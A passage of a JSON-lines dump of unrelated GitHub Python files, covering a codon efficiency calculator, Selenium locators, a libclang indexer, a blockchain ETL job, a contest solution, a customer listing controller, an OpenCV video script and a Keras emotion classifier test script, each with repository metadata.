possible permutations of the degenerate nucleotide, which is not too large\r\npossible_nucleotide_permutations = set(\r\n    [\r\n        \"\".join(degenerate_codon)\r\n        for degenerate_codon in product(\r\n            valid_nucleotides, valid_nucleotides, valid_nucleotides\r\n        )\r\n    ]\r\n)\r\n\r\n# generate expanded nucleotide table e.g. {'RYA':['GCA', 'ACA', 'ATA', 'GTA']}\r\nexpanded_nucleotides_table = {\r\n    degenerate_codon: [\r\n        \"\".join(codon)\r\n        for codon in product(\r\n            expanded_code[degenerate_codon[0]],\r\n            expanded_code[degenerate_codon[1]],\r\n            expanded_code[degenerate_codon[2]],\r\n        )\r\n    ]\r\n    for degenerate_codon in possible_nucleotide_permutations\r\n}\r\n\r\n# generate expanded translation table e.g. {'RYA':['A', 'I', 'V', 'T']}\r\nexpanded_translation_table = {\r\n    degenerate_codon: [translation_table[codon] for codon in codons]\r\n    for degenerate_codon, codons in expanded_nucleotides_table.items()\r\n}\r\n\r\n\r\ndef validate_nucleotides(nucleotides):\r\n    \"\"\"\r\n    :param nucleotides: string\r\n        the string of nucleotides we want validate, i.e. 'RYA'\r\n    :rtype: bool\r\n        returns True if input string contains only valid nucleotides. Otherwise, returns False.\r\n    \"\"\"\r\n    return set(valid_nucleotides).issuperset(nucleotides)\r\n\r\n\r\ndef validate_amino_acids(amino_acids):\r\n    \"\"\"\r\n    :param amino_acids: set\r\n        the set of amino acids we want validate, i.e. {'A','I','V'}\r\n    :rtype: bool\r\n        returns True if input set list contains only valid amino acids. Otherwise, returns False.\r\n    \"\"\"\r\n    return set(valid_aa).issuperset(amino_acids)\r\n\r\n\r\ndef find_all_codons_for_amino_acids(amino_acids):\r\n    \"\"\"\r\n    :param amino_acids: set\r\n            the set of valid amino acids we want to code for, i.e. {'A','I','V'}\r\n    :rtype: set\r\n            returns the set of all degenerate codons that code for all amino acids in the set e.g. {'RYA', 'RYH', 'RYC'}\r\n    \"\"\"\r\n    assert validate_amino_acids(\r\n        amino_acids\r\n    ), f\"{amino_acids} contains invalid amino acid\"\r\n\r\n    if len(amino_acids) == 0:\r\n        return amino_acids\r\n\r\n    return set(\r\n        [\r\n            degenerate_codon\r\n            for degenerate_codon, amino_acid in expanded_translation_table.items()\r\n            if set(amino_acid).issuperset(amino_acids)\r\n        ]\r\n    )\r\n\r\n\r\ndef generate_codon_efficiency_table(amino_acids, codons):\r\n    \"\"\"\r\n    :param amino_acids: set\r\n            the set of valid amino acids we want to code for, i.e. {'A','I','V'}\r\n    :param codons: set\r\n            the set of all degenerate codons that code for all amino acids in the first set e.g. {'RYA', 'RYH', 'RYC'}\r\n    :rtype: dict\r\n            returns dictionary with key as degenerate codon and value as achieved efficiency e.g. {'RYA':0.75}\r\n    \"\"\"\r\n    assert validate_amino_acids(\r\n        amino_acids\r\n    ), f\"{amino_acids} contains invalid amino acid\"\r\n\r\n    assert validate_nucleotides(\r\n        \"\".join(codons)\r\n    ), f\"Codons contain invalid nucleotide\"\r\n\r\n    if len(amino_acids) == 0:\r\n        return {}\r\n\r\n    # codon efficiency = length of the list only containing the amino acids of interest\r\n    # divided by the length of the list that contains all amino acids the codon codes for\r\n    return {\r\n        codon: len(\r\n            [\r\n                amino_acid\r\n                for amino_acid in expanded_translation_table[codon]\r\n                if amino_acid in amino_acids\r\n            ]\r\n        )\r\n        / len(expanded_translation_table[codon])\r\n        for codon in codons\r\n    }\r\n\r\n\r\ndef get_codon_for_amino_acids(amino_acids):\r\n    \"\"\"\r\n    :param amino_acids: set\r\n        the valid amino acids we want to code for, i.e. {'A','I','V'}\r\n    :rtype: set, float\r\n        returns two values the set of most efficient codons for the input set list,\r\n        e.g. {'RYA', 'RYH', 'RYC', 'RYW', 'RYM', 'RYY', 'RYT'} and the achieved efficiency e.g. 0.75\r\n    \"\"\"\r\n    assert validate_amino_acids(\r\n        amino_acids\r\n    ), f\"{amino_acids} contains invalid amino acid\"\r\n\r\n    if len(amino_acids) == 0:\r\n        return amino_acids, 0\r\n\r\n    # generate dict with key as degenerate codon and value as efficiency e.g. {'RYA':0.75}\r\n    codon_efficiency_table = generate_codon_efficiency_table(\r\n        amino_acids, find_all_codons_for_amino_acids(amino_acids)\r\n    )\r\n\r\n    # calculate codon efficiency and return results\r\n    return (\r\n        set(\r\n            [\r\n                degenerate_codon\r\n                for degenerate_codon, efficiency in codon_efficiency_table.items()\r\n                if efficiency == max(codon_efficiency_table.values())\r\n            ]\r\n        ),\r\n        max(codon_efficiency_table.values()),\r\n    )\r\n\r\n\r\ndef truncate_list_of_amino_acids(amino_acids):\r\n    \"\"\"\r\n    :param amino_acids: set\r\n        the valid amino acids we want to code for, i.e. {'A','I','V'}\r\n    :rtype: set\r\n        the set of sets of amino acids that can be coded with 100% efficiency,\r\n        i.e. {frozenset({'V', 'A'}), frozenset({'V', 'I'})}\r\n    \"\"\"\r\n    assert validate_amino_acids(\r\n        amino_acids\r\n    ), f\"{amino_acids} contains invalid amino acid\"\r\n\r\n    if len(amino_acids) == 0:\r\n        return amino_acids\r\n\r\n    amino_acid_list_size = len(amino_acids)\r\n    codon_efficiency_table = {}\r\n\r\n    # remove one amino acid from the list at a time until there are none left\r\n    while amino_acid_list_size > 0:\r\n\r\n        # find all possible combinations of amino acids after removal of 0, 1, 2, etc. amino acids\r\n        for amino_acids_shorter in set(combinations(amino_acids, amino_acid_list_size)):\r\n\r\n            # codon_efficiency_table stores all max efficiencies after removal of amino acids\r\n            codon_for_amino_acids = get_codon_for_amino_acids(set(amino_acids_shorter))\r\n            codon_efficiency_table[frozenset(amino_acids_shorter)] = codon_for_amino_acids[1]\r\n\r\n        # if amino acids can be encoded with 100% efficiency, store set of amino acids in a list\r\n        if max(codon_efficiency_table.values()) == 1:\r\n            truncate_list = [\r\n                amino_list\r\n                for amino_list, efficiency in codon_efficiency_table.items()\r\n                if efficiency == 1\r\n            ]\r\n\r\n            # if the list contains <=1 set of amino acids, return a set; else, return a set of sets\r\n            return set(truncate_list[0]) if len(truncate_list) <= 1 else set(truncate_list)\r\n\r\n        else:\r\n            amino_acid_list_size -= 1\r\n            codon_efficiency_table = {}\r\n\r\n    # return empty set if task not possible\r\n    return set()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    # using sets instead of lists throughout the code since the order doesn't matter and all items should be unique\r\n    assert get_codon_for_amino_acids({\"A\", \"I\", \"V\"}) == (\r\n        {\"RYA\", \"RYH\", \"RYC\", \"RYW\", \"RYM\", \"RYY\", \"RYT\"},\r\n        0.75,\r\n    )\r\n    assert get_codon_for_amino_acids({\"M\", \"F\"}) == ({\"WTS\", \"WTK\", \"WTB\"}, 0.5)\r\n\r\n    # \"frozenset\" here since this seems to be the only way to get a set of sets\r\n    # - see https://stackoverflow.com/questions/5931291/how-can-i-create-a-set-of-sets-in-python\r\n    assert truncate_list_of_amino_acids({\"A\", \"V\", \"I\"}) == {\r\n        frozenset({\"V\", \"A\"}),\r\n        frozenset({\"V\", \"I\"}),\r\n    }\r\n","repo_name":"akiranishii/targeted_mutagenesis","sub_path":"assignment.py","file_name":"assignment.py","file_ext":"py","file_size_in_byte":9069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"3984023444","text":"from selenium.webdriver.common.by import By\n\n\nclass CheckoutPageLocators:\n\n    THANK_YOU_MESSAGE_LOCATOR = By.CLASS_NAME, 'order-top-message'\n    FINISH_PAGE_REFERENCE_NUMBER_LOCATOR = By.CLASS_NAME, 'info-value'\n    PANEL_CONFIRMATION_EMAIL_LOCATOR = By.CLASS_NAME, 'confirmation-email'\n\n    LOADER_CLASS_BUSY = By.CLASS_NAME, 'nprogress-busy'\n    LOADER_CLASS_LOCATOR = By.CLASS_NAME, 'ajax-loader'\n\n    LOADER_DELETE_ITEM = By.CSS_SELECTOR = '.cart-items .ajax-loader'\n\n    COUNTRY_INPUT_LOCATOR = By.CLASS_NAME, 'dropdown-country'\n    COUNTRY_INPUT_FIELD = By.ID, 'dropdown-multiselect-country'\n\n    # Payment form elements\n    CARD_NUMBER_INPUT_LOCATOR = By.ID, 'card'\n    CARD_EXPIRATION_DATE_INPUT_LOCATOR = By.ID, 'date'\n    CARD_SECURITY_CODE_INPUT_LOCATOR = By.ID, 'cvv'\n    NAME_INPUT_LOCATOR = By.ID, 'name'\n    IBAN_INPUT_LOCATOR = By.ID, 'iban'\n    SWIFT_CODE_INPUT_LOCATOR = By.ID, 'swift-code'\n\n    # Billing form elements\n    EMAIL_INPUT_LOCATOR = By.ID, 'email'\n    ADDRESS_INPUT_LOCATOR = By.ID, 'address'\n    CITY_INPUT_LOCATOR = By.ID, 'city'\n    ZIP_INPUT_LOCATOR = By.ID, 'zip'\n    PHONE_INPUT_LOCATOR = By.ID, 'phone'\n\n    # Checkout button elements\n    PLACE_ORDER_BUTTON_LOCATOR = By.CLASS_NAME, 'btn-pay'\n    OTHER_BUTTON = By.LINK_TEXT, 'Other'\n\n    # Payment method elements\n    PAYMENT_METHOD_DIRECT_DEBIT_LOCATOR = By.LINK_TEXT, 'SEPA Direct Debit'\n    PAYMENT_METHOD_WIRE_TRANSFER_LOCATOR = By.LINK_TEXT, 'Wire Transfer'\n    PAYMENT_METHOD_PAYPAL_LOCATOR = By.LINK_TEXT, 'PayPal'\n    # PAYMENT_METHOD_PAYPAL_LOCATOR = By.CSS_SELECTOR, '.default-button.add-tooltip.paypal'\n","repo_name":"Madansamudralla/python_project","sub_path":"features/convert_plus/locators/checkout_page.py","file_name":"checkout_page.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"42784099156","text":"#!/usr/bin/env python\n\nfrom clang.cindex import TranslationUnit, Index, CursorKind, TypeKind, Cursor, Type, TokenKind\nimport pprint as pp\nfrom chdrft.utils.misc import Dict, Attributize, devnull\nfrom chdrft.graph.base import OpaGraph\nfrom collections import deque\nimport subprocess as sp\nimport re\nimport io\nimport sys\nfrom chdrft.gen.types import *\nimport logging\n\n\nclass OpaModifier:\n\n  def name_mod(self, node, typname):\n    return typname\n\n  def extra_mod(self, node):\n    return ''\n\n  def match(self, x):\n    return True\n\n  def match_var(self, x):\n    return True\n\n  def match_macro(self, x):\n    return True\n\n  def format_code(self, code):\n    proc = sp.Popen(['clang-format'], stdin=sp.PIPE, stdout=sp.PIPE)\n    out, err = proc.communicate(code.encode())\n    assert proc.returncode == 0\n    return out.decode()\n\n\nclass LocationWrapper:\n\n  def __init__(self, location, inputfile):\n    self.location = location\n    self.is_input = False\n    if location.file:\n      self.is_input = location.file.name == inputfile\n\n  def __str__(self):\n    return 'LocationWrapper(location={location}, is_input={is_input})'.format(**self.__dict__)\n\n\nclass Filter:\n\n  def __call__(self, cursor, filename):\n    return True, self\n\n  def add(self, e):\n    pass\n\n\nclass EasyFilter(Filter):\n\n  def __init__(self, **kwargs):\n    for k, v in kwargs.items():\n      setattr(self, k, v)\n\n\nInputOnlyFilter = EasyFilter(__call__=lambda self, cursor, x: [x.is_input, self])\n\n\nclass OpaIndex:\n\n  def __init__(self, filter, inputfile):\n    self.typs = {}\n    self.vars = []\n    self.macros = []\n    self.typedefs = []\n    self.modifier = None\n    self.filter = filter\n    self.inputfile = inputfile\n    self.structs = []\n    self.functions = {}\n\n  def set_modifier(self, modifier):\n    assert not modifier or isinstance(modifier, OpaModifier)\n    self.modifier = modifier\n\n  def get_typ(self, cursor, typ=None):\n    builder = TypeBuilder(cursor, typ)\n    key = builder.get_key()\n\n    if not key in self.typs:\n      elem = self.typs[key] = builder.get_type(self)\n      elem.build()\n\n    return self.typs[key]\n\n  def add_typedef(self, cursor):\n    tmp = OpaTypedef(self, cursor)\n    self.typedefs.append(tmp)\n    return tmp\n\n  def add_var(self, cursor):\n    tmp = OpaVar(self, cursor)\n    if tmp.build():\n      self.vars.append(tmp)\n    return tmp\n\n  def add_macro(self, cursor):\n    tmp = OpaMacro(self, cursor)\n    if tmp.build():\n      self.macros.append(tmp)\n    return tmp\n\n  def add_hard_dep(self, src, dst, graph):\n    dst = dst.get_base_typ()\n    if dst.is_primitive():\n      return\n    graph.add_dep(src.node, dst.node)\n\n  def add_function(self, cursor):\n    tmp = OpaFunction(self, cursor)\n    if tmp.build():\n      self.functions[tmp.shortname] = tmp\n    return tmp\n\n  def build_graph(self):\n    for x in self.typs.values():\n      if x.is_primitive():\n        continue\n      x.node = OpaGraph.Node(x)\n    if None not in self.typs:\n      return\n\n    root = self.typs[None]\n    graph = OpaGraph(root.node)\n    for x in self.typs.values():\n      if x.is_primitive():\n        continue\n      x.node.children = [y.node for y in x.children]\n      if x.parent:\n        x.node.parent = x.parent.node\n\n    for x in self.typs.values():\n      for y in x.fields:\n        if not y.typ.need_declare() and y.typ.get_parent() == x.get_parent():\n          y.typ.get_base_typ().forward_decl = True\n        else:\n          self.add_hard_dep(x, y.typ, graph)\n\n        # adding hard dependencies cause I dont know better\n        for z in y.typ.get_base_typ().deps:\n          self.add_hard_dep(x, z, graph)\n\n    graph.solve_ordering()\n\n  def reset_mark(self):\n    for x in self.typs:\n      x.mark = 0\n\n  def get_build_info(self):\n    res = self.typs[None].dfs_build_info()\n    res.vars = [x for x in self.vars if x.mark]\n    res.macros = [x for x in self.macros if x.mark]\n\n    return res\n\n  def build_info_to_decl(self, build_info):\n    if not build_info:\n      return ''\n    node = build_info.node\n    content = ''\n\n    content += node.begin_def()\n\n    for x in build_info.fwd:\n      content += x.typ.decl_str() + ';'\n\n    for x in build_info.decl:\n      content += self.build_info_to_decl(x)\n\n    for x in node.fields:\n      content += x.field_decl_str() + ';'\n\n    if node.index.modifier:\n      content += self.modifier.extra_mod(node)\n\n    for x in getattr(build_info, 'vars', []):\n      content += x.var_decl_str() + ';'\n\n    for x in getattr(build_info, 'macros', []):\n      content += x.macro_decl_str() + '\\n'\n\n    content += node.end_def()\n\n    return content\n\n  def mark_matching(self):\n    for x in self.typs.values():\n      if x.cursor and self.modifier.match(x):\n        x.dfs_mark()\n    for x in self.vars:\n      if self.modifier.match_var(x):\n        x.mark = True\n\n    for x in self.macros:\n      if self.modifier.match_macro(x):\n        x.mark = True\n\n  def to_location(self, loc):\n    return LocationWrapper(loc, self.inputfile)\n\n  def get_code(self, modifier):\n    self.set_modifier(modifier)\n    self.mark_matching()\n    self.build_graph()\n    build_info = self.get_build_info()\n    res = self.build_info_to_decl(build_info)\n    self.set_modifier(None)\n    return modifier.format_code(res)\n\n  def fill(self, cursor):\n    ok, adder = self.filter(cursor, self.to_location(cursor.location))\n    if ok:\n\n      e = None\n      if cursor.kind == CursorKind.TYPEDEF_DECL:\n        e = self.add_typedef(cursor)\n      elif cursor.kind in (CursorKind.STRUCT_DECL, CursorKind.CLASS_DECL, CursorKind.CLASS_TEMPLATE):\n        e = self.get_typ(cursor)\n        self.structs.append(e)\n      elif cursor.kind == CursorKind.VAR_DECL:\n        e = self.add_var(cursor)\n      elif cursor.kind == CursorKind.MACRO_DEFINITION:\n        e = self.add_macro(cursor)\n      elif cursor.kind == CursorKind.FUNCTION_DECL:\n        e = self.add_function(cursor)\n\n      if e:\n\n        if adder:\n          adder.add(e)\n\n        if cursor.kind == CursorKind.TYPEDEF_DECL:\n          return\n\n    children = cursor.get_children()\n    for c in children:\n      self.fill(c)\n\n  @staticmethod\n  def create_index(filter=Filter(), args=None, cpp_mode=False, filename=None, file_content=None):\n    #print('create >> ', args)\n    if not args:\n      args = []\n    if cpp_mode:\n      args.extend(['-std=c++11', '-Wall', '-Wextra'])\n    for e in get_clang_includes():\n      args.append('-isystem%s' % e)\n\n    logging.info(f'Creating index with {args}')\n\n    #print(args)\n\n    args = [x.encode() for x in args]\n    index = Index.create()\n    options = 0\n    options = TranslationUnit.PARSE_DETAILED_PROCESSING_RECORD\n    extra = {}\n\n    if file_content:\n      filename = 'dummy_RAWWWW.cpp'\n      extra['unsaved_files'] = [(filename.encode(), file_content.encode())]\n    else:\n      assert filename\n\n    tu = index.parse(filename.encode(), args, options=options, **extra)\n    diags=list(tu.diagnostics)\n    if len(diags)>0:\n      logging.info('Clang diags: %d', len(diags))\n\n    opa_index = OpaIndex(filter, filename)\n    for x in tu.cursor.walk_preorder():\n      if not filter(x, opa_index.to_location(x.location)):\n        continue\n      if 1: continue\n      print(x.kind, x.type.kind, conf.lib.clang_Type_getNumTemplateArguments(x.type),\n            x.get_num_children(), x.displayname, x.spelling, x.type.spelling)\n      decl = x.type.get_declaration()\n\n      tmp = conf.lib.clang_getSpecializedCursorTemplate(x)\n      if tmp:\n        print('Loc ', tmp.location)\n      if x.kind == CursorKind.TYPE_REF:\n        print('Typeref:')\n      if x.kind == CursorKind.FIELD_DECL:\n        print('FIELD >> ')\n      if x.kind == CursorKind.VAR_DECL:\n        a = x.type\n        a = a.get_declaration()\n        base = conf.lib.clang_getSpecializedCursorTemplate(a)\n        if base:\n          for k in base.walk_preorder():\n            print('CHILDREN > ', k.displayname, k.kind, k.type.kind, k.get_num_children())\n\n        tmp = x.canonical.type.get_canonical().get_declaration()\n\n      if x.kind == CursorKind.FUNCTION_DECL:\n        for a in x.get_arguments():\n          print('args', a, a.displayname, a.type.kind)\n        for a in x.get_children():\n          print('children ', a.kind)\n    if 0:\n      print('\\n\\n\\n\\n')\n\n    opa_index.fill(tu.cursor)\n    opa_index.get_typ(None).mark = True\n\n    return opa_index\n\n\ndef get_clang_includes():\n  res = sp.check_output(['clang', '-E', '-x', 'c', '-', '-v'],\n                        stdin=devnull,\n                        stderr=sp.STDOUT).decode()\n  st = res.find('search starts here')\n  nd = res.find('End of search list')\n  assert st != -1 and nd != -1\n  res = res[st:nd]\n  for entry in re.findall('/usr/[\\S]+', res):\n    yield entry\n\n\ndef test_main():\n  print(list(get_clang_includes()))\n  return\n  # index=create_index(filename='./test.cpp')\n  file_content = \"\"\"\n//#include <sys/mman.h>\n#define PROT_READ 0x12\nconst int XX = PROT_READ;\n//typedef double jambon;\n//struct KAPA{int DEF, j; void *ptr;};\n//struct tmp{ int (*f)(KAPA fu, int x, float y); };\n\"\"\"\n\n  class CurModifier(OpaModifier):\n\n    def name_mod(self, node, typname):\n      return typname\n\n    def extra_mod(self, node):\n      return ''\n\n    def match(self, x):\n      return x.cursor.kind == CursorKind.STRUCT_DECL\n\n  print(file_content)\n  args = ['-isystem/usr/lib/llvm-3.6/lib/clang/3.6.2/include']\n  index = OpaIndex.create_index(file_content=file_content, cpp_mode=True, args=args)\n  res = index.get_code(CurModifier())\n\n  print(res)\n\n\nif __name__ == '__main__':\n  test_main()\n","repo_name":"unjambonakap/chdrft","sub_path":"gen/opa_clang.py","file_name":"opa_clang.py","file_ext":"py","file_size_in_byte":9411,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"12149141843","text":"from typing import List, Dict, Union, Optional\n\nfrom blockchainetl.executors.batch_work_executor import BatchWorkExecutor\nfrom blockchainetl.jobs.base_job import BaseJob\nfrom ethereumetl.domain.log import EthLog\nfrom ethereumetl.mappers.token_transfer_mapper import EthTokenTransferMapper\nfrom ethereumetl.mappers.log_mapper import EthLogMapper\nfrom ethereumetl.service.token_transfer_extractor import EthTokenTransferExtractor\nfrom ethereumetl.service.eth_token_service import EthTokenService\n\n\nclass ExtractTokenTransfersJob(BaseJob):\n    def __init__(\n        self,\n        logs_iterable: List[Union[Dict, EthLog]],\n        batch_size,\n        max_workers,\n        item_exporter,\n        chain: Optional[str] = None,\n        token_service: Optional[EthTokenService] = None,\n    ):\n        self.logs_iterable = logs_iterable\n\n        self.batch_work_executor = BatchWorkExecutor(batch_size, max_workers)\n        self.item_exporter = item_exporter\n\n        self.log_mapper = EthLogMapper()\n        self.token_transfer_mapper = EthTokenTransferMapper()\n        self.token_transfer_extractor = EthTokenTransferExtractor(chain)\n        self.chain = chain\n        self.token_service = token_service\n\n    def _start(self):\n        self.item_exporter.open()\n\n    def _export(self):\n        self.batch_work_executor.execute(self.logs_iterable, self._extract_transfers)\n\n    def _extract_transfers(self, logs: List[Union[Dict, EthLog]]):\n        for log in logs:\n            if isinstance(log, dict):\n                log = self.log_mapper.dict_to_log(log)\n            self._extract_transfer(log)\n\n    def _extract_transfer(self, log: EthLog):\n        token_transfer = self.token_transfer_extractor.extract_transfer_from_log(log)\n        if token_transfer is None:\n            return\n        if self.token_service is not None:\n            token = self.token_service.get_token(\n                token_transfer.token_address, self.chain\n            )\n            token_transfer.name = token.name\n            token_transfer.symbol = token.symbol\n            token_transfer.decimals = token.decimals\n\n        self.item_exporter.export_item(\n            self.token_transfer_mapper.token_transfer_to_dict(token_transfer)\n        )\n\n    def _end(self):\n        self.batch_work_executor.shutdown()\n        self.item_exporter.close()\n","repo_name":"jsvisa/blockchain-etl","sub_path":"ethereumetl/jobs/extract_token_transfers_job.py","file_name":"extract_token_transfers_job.py","file_ext":"py","file_size_in_byte":2316,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"15462363575","text":"# -*- coding: utf-8 -*-\n\"\"\"\n解く前のメモ用\n\"\"\"\nN = int(input())\nworst_a = -1\nworst_score = 10**10\n\n\nfor i in range(N):\n    A, B = list(map(int, input().split()))\n    worst_a = max(worst_a, A)\n    worst_score = min(worst_score, B)\nans = worst_a + worst_score\nprint(ans)\n","repo_name":"bun913/atcoder_python","sub_path":"tenka1-2017-beginner/b/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"30830365858","text":"import math\nfrom controllers import Controller\nfrom infra import *\nfrom helpers import ok\n\nclass ListCustomersController(Controller):\n  def perform(self, request):\n    page = request.args.get(\"page\", default=1, type=int)\n    per_page = request.args.get(\"per_page\", default=10, type=int)\n    search = request.args.get(\"search\", default='', type=str)\n    offset = (page - 1) * per_page\n    limit = per_page\n    total = Customer.select().where(Customer.name.contains(search) | Customer.email.contains(search)).count()\n    customers = Customer.select().where(Customer.name.contains(search) | Customer.email.contains(search)).order_by(Customer.created_at.desc()).limit(limit).offset(offset)\n    return ok(list(customers.dicts()), headers={\"X-Total-Count\": total, 'X-Total-Pages': math.ceil(total / per_page)})","repo_name":"alexsandroveiga/university-crud-server","sub_path":"controllers/list_customers.py","file_name":"list_customers.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"11899617444","text":"\"\"\" include basic functions:\n    - resizing the video\n    - cropping\n    - dividing by size and time\n    - trimming\n    - saving\n    - converting to greyscale\n    - blurring\n    - edge detection\n    - counting frames\"\"\"\nimport cv2\nimport numpy as np\n\n\ndef frame_count(filename):\n    \"\"\"\n    This function takes a the filename of a video and returns an integer containing the total frame count of the video\n    *much faster than the count_frames function\n    :param filename: string containing the path and filename of video\n    :return: total_frames: integer value of how many total frames are in the video\n    \"\"\"\n    cap = cv2.VideoCapture(filename)\n    total_frames = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))\n    print(\"The video has a total of:\", total_frames, \"frames\")\n    return total_frames\n\n\ndef resize_frame(image, scaling_factor):\n    \"\"\"\n    resizes an image by a specified scaling factor (new image will be 1/scaling_factor the size of original)\n    :param image: original image to be manipulated\n    :param scaling_factor: integer\n    :return: rescaled image\n    \"\"\"\n    size = (image.shape[1] // scaling_factor, image.shape[0] // scaling_factor)\n    image = cv2.resize(image, size)  # resize image 1\n    return image\n\n\ndef BGR2Grey(image):\n    \"\"\"\n    converts BGR (blue, green, red) to grey scale (black and white)\n    :param image: original image (BGR)\n    :return: new image (grey scale)\n    \"\"\"\n    image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n    return image\n\n\ndef save_frame(result, image):\n    \"\"\"\n    useful for saving a video frame by frame\n    :param result: VideoCapture object\n    :param image: frame to be saved\n    :return: nothing, the video will be saved to a file\n    \"\"\"\n    if len(image.shape) == 2:\n        image = cv2.cvtColor(image, cv2.COLOR_GRAY2BGR)  # to save the video it must first be converted to BGR if it not\n    result.write(image)\n    return 0\n\n\nfilename = \"video/test_trim.mp4\"  # file path for desired video#\ntf = frame_count(filename)\ncap = cv2.VideoCapture(filename)\n\n# create video capture object to save video to\nret, image = cap.read()  # get a frame for purposes of properly sizing the video writer object\nsf = 4  # scaling factor\noutfile = \"video/result.avi\"\nfps = 30.0  # frames per second to save the video at\nresult = cv2.VideoWriter(outfile, cv2.VideoWriter_fourcc(*'XVID'), fps, (image.shape[1] // sf, image.shape[0] // sf))\n\nwhile cap.isOpened():\n    ret, image = cap.read()\n    if ret is True:\n        image = resize_frame(image, sf)\n        image = cv2.GaussianBlur(image, (7, 7), 0)\n        image = BGR2Grey(image)\n\n        # Canny edge detection with automatic threshold calculation\n        sigma = 0.33\n        v = np.mean(image)\n        lower = int(max(0, (1.0 - sigma) * v))\n        upper = int(min(255, (1.0 + sigma) * v))\n        image = cv2.Canny(image, 50, 200)\n\n        cv2.imshow(\"image\", image)\n        save_frame(result, image)\n        if cv2.waitKey(1) & 0xFF == ord('q'):  # close video when it ends or if user presses the \"q\" key\n            break\n    else:\n        break\ncap.release()\nresult.release()\ncv2.destroyAllWindows()\n\n","repo_name":"Interfluo/Computer-Vision-1","sub_path":"video_editor.py","file_name":"video_editor.py","file_ext":"py","file_size_in_byte":3111,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"42817971726","text":"'''\nTesting Script\n'''\nimport json\nimport pickle\nimport numpy as np\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.models import load_model\nfrom sklearn import metrics\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import LabelEncoder\n\nMAX_SENTENCE_LENGTH = 70\n\nexceptions = [876, 1062, 1735, 1892, 2192, 2484, 3641, 3735, 6246, 6248, 7895, 9813, 11564, 11883, 13003, 13129, 13386, 13531, 13539, 13591, 13749, 13804, 13998, 14001, 14055, 14319, 14999]\nwith open('dataset.txt', encoding=\"utf8\") as sentences:\n    text_data = []\n    text_labels = []\n    for i,sentence in enumerate(sentences):\n        if i not in exceptions:\n            sentence = sentence.split('\\t')\n            if not sentence[2] == 'trust': \n                text_data.append(sentence[1])\n                text_labels.append(sentence[2])\n\nwith open('emotion_kaggle.txt', encoding=\"utf8\") as sentences:\n    kaggle_data = []\n    kaggle_labels = []\n    for i,sentence in enumerate(sentences):\n        if i not in exceptions and i>=1:\n            sentence = sentence.split(',')\n            sentence[2] = sentence[2].replace('\\n','')\n            kaggle_data.append(sentence[1])\n            kaggle_labels.append(sentence[2])\n\n\n# Combine both the datasets\ntext_data = text_data + kaggle_data\ntext_labels = text_labels + kaggle_labels\n\n# Split dataset in training and test.\nX_train, X_test, y_train, y_test = train_test_split(text_data, text_labels, test_size=0.1, random_state=0)\n\n# initialize the encoder\nencoder = LabelEncoder()\nencoder.fit(y_train)\n\n# loading tokenizer for polarity model\nwith open('tokenizer.pickle', 'rb') as handle:\n    tokenizer = pickle.load(handle)\n\n# loading the polarity model\nmultitask_model = load_model('multitask_model.h5')\n\n# Tokenize\nsequences_test = tokenizer.texts_to_sequences(X_test)\n\n# Padding to make all the texts of same length\ntest_data = pad_sequences(sequences_test, maxlen=MAX_SENTENCE_LENGTH)\n\n# Both the tasks should have same dimensions of inputs\nif(len(y_test) % 2 != 0):\n    y_test = y_test[:-1]\n    test_data = test_data[:-1]\n\n# Task-1 training data and labels\nt1_y_test = y_test[0:int(len(y_test)/2)]\nt1_x_test = test_data[0:int(len(y_test)/2)]\n\n# Task-2 training data and labels\nt2_y_test = y_test[int(len(y_test)/2):]\nt2_x_test = test_data[int(len(y_test)/2):]\n\ny_pred_combined = multitask_model.predict([t1_x_test, t2_x_test])\nt1_y_pred = np.argmax(y_pred_combined[0], axis=-1)\nt2_y_pred = np.argmax(y_pred_combined[1], axis=-1)\n\nt1_y_pred = encoder.inverse_transform(t1_y_pred)\nt2_y_pred = encoder.inverse_transform(t2_y_pred)\n\nt1_acc = metrics.accuracy_score(t1_y_test, t1_y_pred)\nprint(f\"Task 1 Accuracy: {t1_acc}\")\n\nt2_acc = metrics.accuracy_score(t2_y_test, t2_y_pred)\nprint(f\"Task 2 Accuracy: {t2_acc}\")\n\nt1_cf = metrics.confusion_matrix(t1_y_test, t1_y_pred)\nprint(f'The confusion matrix for Task 1 is: \\n {t1_cf}')\n\nt2_cf = metrics.confusion_matrix(t2_y_test, t2_y_pred)\nprint(f'The confusion matrix for Task 2 is: \\n {t2_cf}')\n\nwhile True:\n    predictions = {}\n    query1 = str(input('Please enter the text: '))\n    \n    # Tokenize\n    sequences_test = tokenizer.texts_to_sequences([query1])\n    \n    # Padding to make all the texts of same length\n    test_data = pad_sequences(sequences_test, maxlen=MAX_SENTENCE_LENGTH)\n    \n    t1_x_test = test_data\n    t2_x_test = test_data\n    \n    y_pred_combined = multitask_model.predict([t1_x_test, t2_x_test])\n    y_pred_proba = y_pred_combined[0]\n    y_pred = np.argmax(y_pred_proba, axis=-1)\n    y_pred = encoder.inverse_transform(y_pred)\n    \n    print(f\"Prediction :{y_pred}\")\n    \n    predictions['Text Input'] = query1\n    predictions['Probabilities'] = y_pred_proba.tolist()\n    predictions['Label'] = y_pred.tolist()\n    \n    with open('result.json', 'a') as fp:\n        json.dump(predictions, fp, indent=4)\n","repo_name":"amurto/nlp-scripts","sub_path":"Glove/1/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3838,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
